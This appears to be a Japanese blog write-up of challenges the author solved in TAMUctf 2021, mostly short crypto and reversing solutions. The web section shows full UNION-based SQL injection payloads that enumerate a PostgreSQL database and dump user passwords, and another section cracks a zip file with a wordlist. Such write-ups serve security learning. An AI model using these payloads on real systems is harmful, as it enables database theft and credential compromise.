TAMUctf 2021 Writeup

この大会は2021/4/23 8:00(JST)~2021/4/26 8:00(JST)に開催されました。
今回もチームで参戦。結果は2100点で356チーム中36位でした。
自分で解けた問題をWriteupとして書いておきます。

Archival (OSINT 50)

Internet Archivehttps://tamuctf.com/を調べる。2020/11/12 01:37:48のものを見てみると、フラグが書いてあった。
f:id:satou-y:20210503083429p:plain

gigem{s1t3_und3r_c0n57ruc710n}

Acrylic (Reversing 100)

バイナリにはフラグ文字列がたくさん含まれている。どれが正解かわからない。Ghidraでデコンパイルして確認してみる。

char * get_flag(void)

{
  int local_10;
  uint local_c;
  
  local_10 = 0x7b;
  local_c = 0;
  while (local_c < 0x7e4) {
    local_10 = ((local_10 + 1) * local_10) % 0x7f;
    local_c = local_c + 1;
  }
  return flags + (long)local_10 * 0x40;
}

flagsのアドレスは0x00301020flags + 5632(=0x302620)が返却される。そのアドレスのデータを見る。

        00302620 67 69 67        ds         "gigem{counteradvise_orbitoides}"
                 65 6d 7b 
                 63 6f 75 
        00302640 00              ??         00h
        00302641 00              ??         00h
        00302642 00              ??         00h
        00302643 00              ??         00h
        00302644 00              ??         00h
        00302645 00              ??         00h
gigem{counteradvise_orbitoides}

Basic RSA (Crypto 100)

Nを素因数分解する。

N = 21094081 * 99363191

フラグの{}の中が1文字ずつ暗号化されているようなので、素因数分解の結果から1文字ずつ復号する。

from Crypto.Util.number import *

enc = [875597732337885, 1079270043421597, 616489707580218, 2010079518477891, 1620280754358135, 616660320758264, 86492804386481, 171830236437002, 1500250422231406, 234060757406619, 1461569132566245, 897825842938043, 2010079518477891, 234060757406619, 1620280754358135, 2010079518477891, 966944159095310, 1669094464917286, 1532683993596672, 171830236437002, 1461569132566245, 2010079518477891, 221195854354967, 1500250422231406, 234060757406619, 355168739080744, 616660320758264, 1620280754358135]

N = 2095975199372471
e = 5449
p = 21094081
q = 99363191
phi = (p - 1) * (q - 1)
d = inverse(e, phi)

flag = 'gigem{'
for c in enc:
    m = pow(c, d, N)
    flag += chr(m)
flag += '}'
print flag
gigem{RSA_s3cur1ty_1s_4b0ut_pr1m3s}

Ciphper (Crypto 100)

暗号化の処理概要は以下の通り。

・keyの指定がなければ、平文を返す。
・keyの長さが8バイトより短い場合はエラー
・n: keyの長さが32未満はその長さ、それ以外は32
・keyの各バイトは下5bitのみ有効

keyがフラグになっている。繰り返し、"gigem{" & ("\x1f" * 6) をXOR鍵として条件を満たす箇所を探す。

[+] index = 000 plaintext = to be
[+] index = 032 plaintext = uestio
[+] index = 052 plaintext = wirgvj
[+] index = 064 plaintext = e mind
[+] index = 074 plaintext = jnnodw
[+] index = 096 plaintext = arrows
[+] index = 128 plaintext = to tak
[+] index = 160 plaintext = oubles

鍵の長さは32。フラグは切れているかもしれないが、まずは32バイトを探すことを考える。平文は、ハムレットに出てくるセリフであると推測できる。
以下のURLの内容を参考にする。

https://en.wikipedia.org/wiki/To_be,_or_not_to_be
import string

def is_lowercase(s):
    chars = string.lowercase + ' '
    for c in s:
        if c not in chars:
            return False
    return True

with open('output.bin', 'rb') as f:
    enc = f.read()

flag_head = 'gigem{'

for i in range(len(enc) - len(flag_head) + 1):
    pt = ''
    for j in range(len(flag_head)):
        code = (ord(flag_head[j]) & 0x1f) ^ ord(enc[i+j])
        pt += chr(code)
    if is_lowercase(pt):
        print i

## guess from here (need to add 32 or 64 or 96)
pt = 'to be or not to be that is the q'
flag = flag_head
for i in range(6, 32):
    flag += chr((ord(enc[i]) ^ ord(pt[i])) + 96)

for i in range(0, len(enc), 32):
    pt = ''
    for j in range(len(flag)):
        if i + j == len(enc):
            break
        code = (ord(flag[j]) & 0x1f) ^ ord(enc[i+j])
        pt += chr(code)
    print '[+] index = %03d'%  i, 'plaintext =', pt

print '[*] flag =', flag

最終的なコードで実行した結果は以下の通り。

0
32
52
64
74
96
128
160
[+] index = 000 plaintext = to be or not to be that is the q
[+] index = 032 plaintext = uestion whether tis nobler in th
[+] index = 064 plaintext = e mind to suffer the slings and
[+] index = 096 plaintext = arrows of outrageous fortune or
[+] index = 128 plaintext = to take arms against a sea of tr
[+] index = 160 plaintext = oubles and by opposing end them
[*] flag = gigem{dont~roll~your~own~crypto}
gigem{dont~roll~your~own~crypto}

Encoding (Crypto 100)

ASCIIコードらしきものが並んでいるが、printableなコードではないものがある。4つの数値でグループ化すると、1つ目が134、2つ目が170、3つ目が63、4つ目が60か61になっている。4つ目だけを取り出し、2進数としてデコードする。するとbase32文字列になる。さらにデコードするとbase64文字列になる。最終的にはこれをデコードしたら、フラグになった。

from base64 import *

with open('data.txt', 'r') as f:
    data = f.read().rstrip()

codes = map(int, data.split(' '))

b_data = ''
for i in range(0, len(codes), 4):
    assert codes[i] == 134
    assert codes[i+1] == 170
    assert codes[i+2] == 63
    b_data += str(codes[i+3] - 60)

msg = ''
for i in range(0, len(b_data), 8):
    msg += chr(int(b_data[i:i+8], 2))
print msg

msg = b32decode(msg)
print msg

flag = b64decode(msg)
print flag

実行結果は以下の通り。

LIZGY3S2K4YTOTJSGVVE2R2SOBRG2ZDGJVME4ZTCNJBDAWBSJZ4WKWCCGBGUMOBQJVVGOMCNNJSDS===
Z2lnZW17M25jMGRpbmdfMXNfbjB0X2NyeXB0MF80Mjg0Mjd9
gigem{3nc0ding_1s_n0t_crypt0_428427}
gigem{3nc0ding_1s_n0t_crypt0_428427}

Ring Of Fire (Crypto 100)

"Love is a burning thing"から始まるこの歌詞とのXORをとる。歌詞は問題に書かれているものだと不足しているので、続きを調べる。歌詞はhttps://genius.com/Johnny-cash-ring-of-fire-lyricsに載っている。歌詞は以下の通り。

Love is a burning thing
And it makes a fiery ring
Bound by wild desire
I fell in to a ring of fire

I fell into a burning ring of fire
I went down, down, down
And the flames went higher
And it burns, burns, burns
The ring of fire
The ring of fire
I fell into a burning ring of fire
I went down, down, down
And the flames went higher
And it burns, burns, burns
The ring of fire
The ring of fire

The taste of love is sweet
When hearts like ours meet
I fell for you like a child
Oh, but the fire went wild

I fell in to a burning ring of fire
I went down, down, down
And the flames went higher
And it burns, burns, burns
The ring of fire
The ring of fire
    :
with open('codeFile.txt', 'r') as f:
    data = f.read().rstrip()

ct = ''
for i in range(0, len(data), 8):
    ct += chr(int(data[i:i+8], 2))

key = '''Love is a burning thing
And it makes a firery ring
Bound by wild desire
I fell in to a ring of fire
I fell into a burning ring of fire
I went down, down, down
And the flames went higher
And it burns, burns, burns
The ring of fire
The ring of fire
I fell into a burning ring of fire
I went down, down, down
And the flames went higher
And it burns, burns, burns
The ring of fire
The ring of fire
The taste of love is sweet
When hearts like ours meet
I fell for you like a child
Oh, but the fire went wild
I fell in to a burning ring of fire
I went down, down, down
And the flames went higher
And it burns, burns, burns
The ring of fire
The ring of fire
'''

pt = ''
for i in range(len(ct)):
    pt += chr(ord(ct[i]) ^ ord(key[i]))
print pt

復号した結果は以下の通り。

John R. Cash (born J. R. Cash; February 26, 1932 – September 12, 2003) was an American singer, songwriter, musician, and actor. Much of Cash's music contained themes of sorrow, moral tribulation, and redemption, especially in the later stages of his career. gigem{x0r_is_c0mmuT4T1ve}. He was known for his deep, calm bass-baritone voice, the distinctive sound of his Tennessee Three backing band characterized by train-like chugging guitar rhythms, a rebelliousness coupled with an increasingly somber and humble demeanor, free prison concerts, and a trademark all-black stage wardrobe which earned him the nickname "The Man in Black".

文章の中にフラグが含まれていた。

gigem{x0r_is_c0mmuT4T1ve}

Spectral Imaging (Sigint 100)

Audacityで開き、スペクトグラムを見る。
f:id:satou-y:20210503084636p:plain

gigem{4ud10-m4d3-v15u4L}

Unzip (Forensics 100)

$ fcrackzip -u -D -p dict/rockyou.txt chall.zip 


PASSWORD FOUND!!!!: pw == hunter2
$ unzip -P hunter2 chall.zip 
Archive:  chall.zip
 extracting: flag.txt
$ cat flag.txt
gigem{d0esnt_looK_lik3_5t4rs_t0_M3}
gigem{d0esnt_looK_lik3_5t4rs_t0_M3}

API 2 : The SeQueL (Web 150)

https://shell.tamuctf.com/problem/49342/?name=Coneにアクセスすると、該当するデータが表示される。Codenameの部分一致でSQLを検索しているようだ。SQLインジェクションを試す。

■https://shell.tamuctf.com/problem/49342/?name=' union select 1 --
pq: each UNION query must have the same number of columns

■https://shell.tamuctf.com/problem/49342/?name=' union select 1,2 --
pq: each UNION query must have the same number of columns

■https://shell.tamuctf.com/problem/49342/?name=' union select 1,2,3 --
pq: each UNION query must have the same number of columns

■https://shell.tamuctf.com/problem/49342/?name=' union select 1,2,3,4 --
pq: each UNION query must have the same number of columns

■https://shell.tamuctf.com/problem/49342/?name=' union select 1,2,3,4,5 --
pq: UNION types character varying and integer cannot be matched

カラム数は5個で良さそう。一旦文字列にしてみる。

■https://shell.tamuctf.com/problem/49342/?name=' union select '1','2','3','4','5' --
pq: invalid input value for enum contlevel: "3"

■https://shell.tamuctf.com/problem/49342/?name=' union select '1','2',3,'4','5' --
pq: UNION types contlevel and integer cannot be matched

3の場所はenumで、用意されている文字列のどれかでないといけないようだ。

■https://shell.tamuctf.com/problem/49342/?name=Z' union select '1','2','thaumiel','3','4' --
Codename : 2
ID : 1
SCP Containment: thaumiel
3

これで準備は整ったので、データを探してみる。

■https://shell.tamuctf.com/problem/49342/?name=Z' union select '1',datname,'thaumiel','3','4' from pg_database --
Codename : scpfoundation
ID : 1
SCP Containment : thaumiel
3
Card image
Codename : template0
ID : 1
SCP Containment : thaumiel
3
Card image
Codename : postgres
ID : 1
SCP Containment : thaumiel
3
Card image
Codename : template1
ID : 1
SCP Containment : thaumiel
3

■https://shell.tamuctf.com/problem/49342/?name=Z' union select '1',table_catalog,'thaumiel',table_name,'4' from information_schema.tables where table_catalog = 'scpfoundation' --
Codename : scpfoundation
ID : 1
SCP Containment : thaumiel
pg_cast
Card image
Codename : scpfoundation
ID : 1
SCP Containment : thaumiel
pg_user
Card image
Codename : scpfoundation
ID : 1
SCP Containment : thaumiel
pg_init_privs
Card image
    :
ID : 1
SCP Containment : thaumiel
pg_opfamily
Card image
Codename : scpfoundation
ID : 1
SCP Containment : thaumiel
pg_extension
Card image

■https://shell.tamuctf.com/problem/49342/?name=Z' union select '1',table_name,'thaumiel',column_name,'4' from information_schema.columns where table_name = 'experiments' --
Codename : experiments
ID : 1
SCP Containment : thaumiel
description
Card image
Codename : experiments
ID : 1
SCP Containment : thaumiel
id
Card image
Codename : experiments
ID : 1
SCP Containment : thaumiel
codename
Card image
Codename : experiments
ID : 1
SCP Containment : thaumiel
img
Card image
Codename : experiments
ID : 1
SCP Containment : thaumiel
containment

■https://shell.tamuctf.com/problem/49342/?name=Z' union select id,codename,containment,description,'4' from experiments --
Codename : Teddy
ID : 2
SCP Containment : euclid
To please the teddy, one must offer them a sacrifice of your finest tea
Card image
Codename : Gnomial
ID : 4
SCP Containment : thaumiel
If encountered in the wild do not make eye contact. They only become more aggressive.
Card image
Codename : Ą̷̡̺̼̗͉̦̦̝̰̲͍͍͖͚̌̓̅̈͐̀̌̀̾̾͘̚̚̚͘̕d̴̻͓̫̭͎͙̮̲͖̭̖̬̦͉͗͒̈́̉̐͋͗̈́̑̄̉̍͑͘ͅd̸̛̙̮͚̩̦̘̗͛͛̓̂̀́̽̒͂͊́̚i̷̡̫͖͎͖͕͎͋̃̀̅̽̾͋͑̿́́͝͝ṡ̵̲̤̥̲̣͚̥̠̍ơ̸̼̒͊̏̅̀̽̿̊̅̈́͊̃̑̓͂͘ṅ̶̢̡͙̣̝̹͓̯̤͉̌̎͜ͅ
ID : 5
SCP Containment : apollyon
H̵̢̩̺̞̥̮̱̤̗̱̹͓̱͔͕̱̔̂̄̇̑̿̚͝Ė̵͍͔̈̂̑̃́̎̿͊͝͝ͅ ̴̢̛̣̦̽̃̿͠I̵̱͚͕͇̱̮͛͑̋́͐̔̓̑͂͘͠ͅS̷̪̝̲̫̝͙͓͒̇͂̍͗̍͐͜ ̷̪̹͕͙͍̭͎̖̺̘̈́̒̍Ȁ̷͚͇̘͓͓Ḽ̴̢̝̗̥̜̭̹̪͉͎̀̿̽R̴̛̗̾̌̂̌̉͊́͋̏E̷̛͉͍̫͆͂͐̍̏͆͒͊̌̚̕͜͝Ā̶̧̛̛̭̬͎̩̭̬̪̩̦̦͚͙̹̳̅̆͌̑͋̎̄͆̒͜͜ͅD̷̨̼̙̣̲̱͎̘̺͎͕̩͉̳̪̲͉̒̐͌̅͌͂͑͠Y̶̬͚̜̰͕̦̝̝͗͌͂͛́͊̈́̐̽̔͒̔͛͐̕͠ ̷͓͔͓̭̞̏̔́̄̋̍̎̽̎͒̈́́̇̊̕͠͠H̶̦̮̿̍͌̀̂̂͌̚̕Ẽ̶̢̛̦͖̖̪̖̬̜̭̄̎̋̎̄̓͒͌̄͌̽́̈R̷̨̢̡̨̖̩͈͖̺̤̳̜̼̱̭̩̤̈́̄̊̌̐̐̕̕͝ͅE̸̡̡̩͓͓̣̲̜͚̖̊̈́͊͒̓͘͜
Card image
Codename : Default
ID : 1
SCP Containment : safe
default testing icon
Card image
Codename : Traffic Cone #88192
ID : 3
SCP Containment : neutralized
We believe they appear from interdimensional rifts with no clear origin

■https://shell.tamuctf.com/problem/49342/?name=Z' union select '1',table_name,'thaumiel',column_name,'4' from information_schema.columns where table_name = 'users' --
Codename : users
ID : 1
SCP Containment : thaumiel
name
Card image
Codename : users
ID : 1
SCP Containment : thaumiel
id
Card image
Codename : users
ID : 1
SCP Containment : thaumiel
status
Card image
Codename : users
ID : 1
SCP Containment : thaumiel
password

■https://shell.tamuctf.com/problem/49342/?name=Z' union select id,name,'thaumiel',password,'4' from users --
Codename : teddy
ID : 2
SCP Containment : thaumiel
e2ec2b31abe380b989ff057aef66377a
Card image
Codename : admin
ID : 3
SCP Containment : thaumiel
gigem{SQL_1nj3ct1ons_c4n_b3_fun}
Card image
Codename : glenn
ID : 1
SCP Containment : thaumiel
9651cbc7c0b5fb1a81f2858a07813c82

usersテーブルのadminユーザのパスワードにフラグがあった。

gigem{SQL_1nj3ct1ons_c4n_b3_fun}

simple_cipher (Reversing 150)

Ghidraでデコンパイルする。

undefined8 main(int param_1,long param_2)

{
  byte bVar1;
  int iVar2;
  int iVar3;
  int iVar4;
  size_t sVar5;
  void *__ptr;
  int local_28;
  
  if (param_1 < 2) {
    puts("./simple_cipher <plaintext>");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  sVar5 = strlen(*(char **)(param_2 + 8));
  iVar2 = (int)sVar5;
  __ptr = malloc((long)iVar2);
  srand(0x1337);
  local_28 = 0;
  while (local_28 < iVar2) {
    bVar1 = *(byte *)((long)((local_28 + 0xf) % iVar2) + *(long *)(param_2 + 8));
    iVar3 = rand();
    iVar4 = rand();
    *(byte *)((long)__ptr + (long)local_28) = bVar1 ^ (byte)iVar3 ^ (byte)iVar4;
    local_28 = local_28 + 1;
  }
  printf("%s",__ptr);
  free(__ptr);
  return 0;
}

暗号処理の概要は以下のようになっている。

・srand(0x1337)
・平文の各文字について以下の処理を行う。
 ・0xfバイトシフト
 ・rand()を2回実行し、両方の結果とXORをとる。

まず必要な乱数だけ取得する。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void main() {
    int r;

    srand(0x1337);
    for (int i; i<68; i++) {
        r = rand();
        printf("%d\n", r & 0xff);
    }
}

実行結果は以下の通り。

37
46
34
215
193
114
215
110
179
42
163
241
248
234
240
176
87
213
232
226
11
127
8
77
207
216
0
232
251
141
107
33
187
141
248
124
255
208
234
178
250
141
163
242
119
147
163
207
105
139
177
116
10
186
193
217
146
194
194
141
79
45
174
10
186
167
134
185

このことを前提に復号する。

r = [37, 46, 34, 215, 193, 114, 215, 110, 179, 42, 163, 241, 248, 234, 240,
    176, 87, 213, 232, 226, 11, 127, 8, 77, 207, 216, 0, 232, 251, 141, 107,
    33, 187, 141, 248, 124, 255, 208, 234, 178, 250, 141, 163, 242, 119, 147,
    163, 207, 105, 139, 177, 116, 10, 186, 193, 217, 146, 194, 194, 141, 79,
    45, 174, 10, 186, 167, 134, 185]

with open('flag.enc', 'rb') as f:
    enc = f.read()

l = len(enc)
flag = [''] * l
for i in range(l):
    code = r[i*2] ^ r[i*2+1] ^ ord(enc[i])
    flag[(i + 15) % l] = chr(code)
flag = ''.join(flag)
print flag
gigem{d0n7_wr173_y0ur_0wn_c1ph3r5}